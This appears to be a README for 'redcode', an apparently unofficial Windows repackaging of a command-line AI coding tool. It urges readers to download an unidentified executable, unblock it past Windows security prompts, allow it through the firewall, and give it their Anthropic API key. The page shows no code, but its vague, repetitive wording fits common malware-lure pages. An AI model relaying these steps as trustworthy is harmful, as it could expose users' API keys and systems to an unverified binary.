🟥 redcode - Run Claude Code on Windows

🚀 Download

Use this link to visit the page and download or install redcode:

Download redcode from GitHub

📦 What redcode does

redcode is a desktop tool that lets you run a command-line AI coding app on Windows with a simple setup. It is built for people who want to use the tool without dealing with a long manual install.

It helps you:

• open the app from Windows
• run it from a terminal window
• use your own API key if you have one
• keep the setup in one place
• get started without extra steps

🖥️ What you need

Before you start, make sure you have:

• Windows 10 or Windows 11
• an internet connection
• enough disk space for the app and its files
• permission to install software on your PC
• a GitHub account if your browser asks you to sign in

For best results, use:

• a recent version of Windows
• the latest browser on your PC
• a stable network connection

🧰 Before you install

Keep these things ready:

• the download page open in your browser
• your Windows login password, if your PC asks for approval
• your API key if you want to use your own account
• a terminal app such as Command Prompt or Windows Terminal

If you do not know what an API key is, you can still follow the install steps and come back to it later

🪟 How to install on Windows

1. Open the redcode download page: Download redcode from GitHub

2. On the page, look for the latest release or the main download file.

3. Download the file to your computer.

4. When the download finishes, open the file.

5. If Windows asks for permission, click Yes.

6. Let the setup finish.

7. If the app adds itself to your PATH, you can open it from any terminal window.

8. If the installer shows a finish button, click it.

9. Keep the app in the same folder unless the setup asks you to move it

🧭 First launch

After install, start redcode from one of these places:

• the Start menu
• the desktop shortcut
• a terminal window

If you use a terminal, open it and type the app name, then press Enter.

If the app opens, you are ready for the next step.

🔑 Set up your API key

redcode can work with your own API key.

If you already have one:

1. Open Command Prompt or Windows Terminal
2. Set the key for your current session
3. Start redcode after that

Example:

set ANTHROPIC_API_KEY=sk-ant-your-key-here
redcode

If you want to keep the key for future sessions, add it in Windows Environment Variables.

To do that:

1. Open the Start menu
2. Search for Environment Variables
3. Open Edit the system environment variables
4. Click Environment Variables
5. Under User variables, click New
6. Set the name to ANTHROPIC_API_KEY
7. Set the value to your key
8. Click OK on each window

🧪 Start using it

Once redcode is open, you can type your request in the terminal.

Examples:

• ask it to explain code
• ask it to help edit a file
• ask it to create a small script
• ask it to review a change
• ask it to help with setup steps

If the app asks for more input, type your response and press Enter.

⚙️ Common setup paths

Use the path that fits your PC:

🟢 Easy path

• download the file
• open it
• finish setup
• launch redcode

🟡 Terminal path

• install the app
• open Windows Terminal
• type redcode
• add your API key if needed

🔵 Manual path

• download the source or release file
• place it in a folder you can find
• open a terminal in that folder
• run the app from there

🪄 What you can expect after install

After setup, redcode should:

• open in a terminal window
• respond to text prompts
• use your local Windows setup
• save you from doing the same steps again
• run with the features that are enabled in this build

🧱 File layout

You may see files like these after install:

• redcode.exe or a similar app file
• a folder for settings
• log files
• support files for the runtime

Do not delete these files if you want the app to keep working

🛠️ If the app does not open

Try these steps:

1. Close the app
2. Open it again
3. Check that the file finished downloading
4. Make sure Windows did not block the file
5. Restart your PC
6. Try opening it from a terminal
7. Check your API key if the app asks for one

If the app still does not open, download the file again from the main page

🔍 If Windows blocks the file

Windows may show a security prompt when you open a new file from the internet.

If that happens:

1. Right-click the file
2. Open Properties
3. Look for an Unblock option
4. Apply the change
5. Open the file again

If you do not see that option, continue with the normal open step

🌐 Network use

redcode may need network access to:

• check your API key
• connect to the service it uses
• fetch updates or support files
• complete normal app actions

If your firewall asks, allow the app through for private networks

🧹 Remove redcode

If you want to remove it from your PC:

1. Close the app
2. Delete the app folder
3. Remove any shortcut you made
4. Remove the PATH entry if you added one
5. Remove the ANTHROPIC_API_KEY variable if you no longer need it

📁 Where to keep your files

For a smooth setup, keep redcode in a folder like:

• Downloads
• Desktop
• Documents
• a folder named Tools

Do not move it while the app is running

⌨️ Useful commands

If you open a terminal, these commands can help:

redcode

set ANTHROPIC_API_KEY=sk-ant-your-key-here

echo %ANTHROPIC_API_KEY%

📚 Basic use tips

• type short requests first
• keep one task at a time
• read the app’s reply before sending another request
• use simple file names
• save your work before making changes

🧩 What this build includes

This build is set up to make the app easier to use on your machine. It is designed to:

• install with fewer manual steps
• run as a single app
• keep setup simple
• work from a normal Windows terminal
• use the features enabled in this build

🖱️ Download again if needed

If the first download fails or the file looks incomplete, visit the download page again and get a fresh copy:

Download redcode from GitHub

❓ Quick help

I do not know where the file went

Check your Downloads folder

I do not know how to open a terminal

Press the Windows key, type Terminal, and open Windows Terminal

The app says it needs a key

Set ANTHROPIC_API_KEY in your terminal or Windows settings

Nothing happens when I open it

Try right-clicking the file and open it again, or run it from a terminal

The screen closes fast

Open it from Windows Terminal so you can see the message

📝 Example start flow

1. Visit the download page
2. Download the file
3. Open the file
4. Finish setup
5. Open Windows Terminal
6. Set your API key if needed
7. Run redcode
8. Start typing your request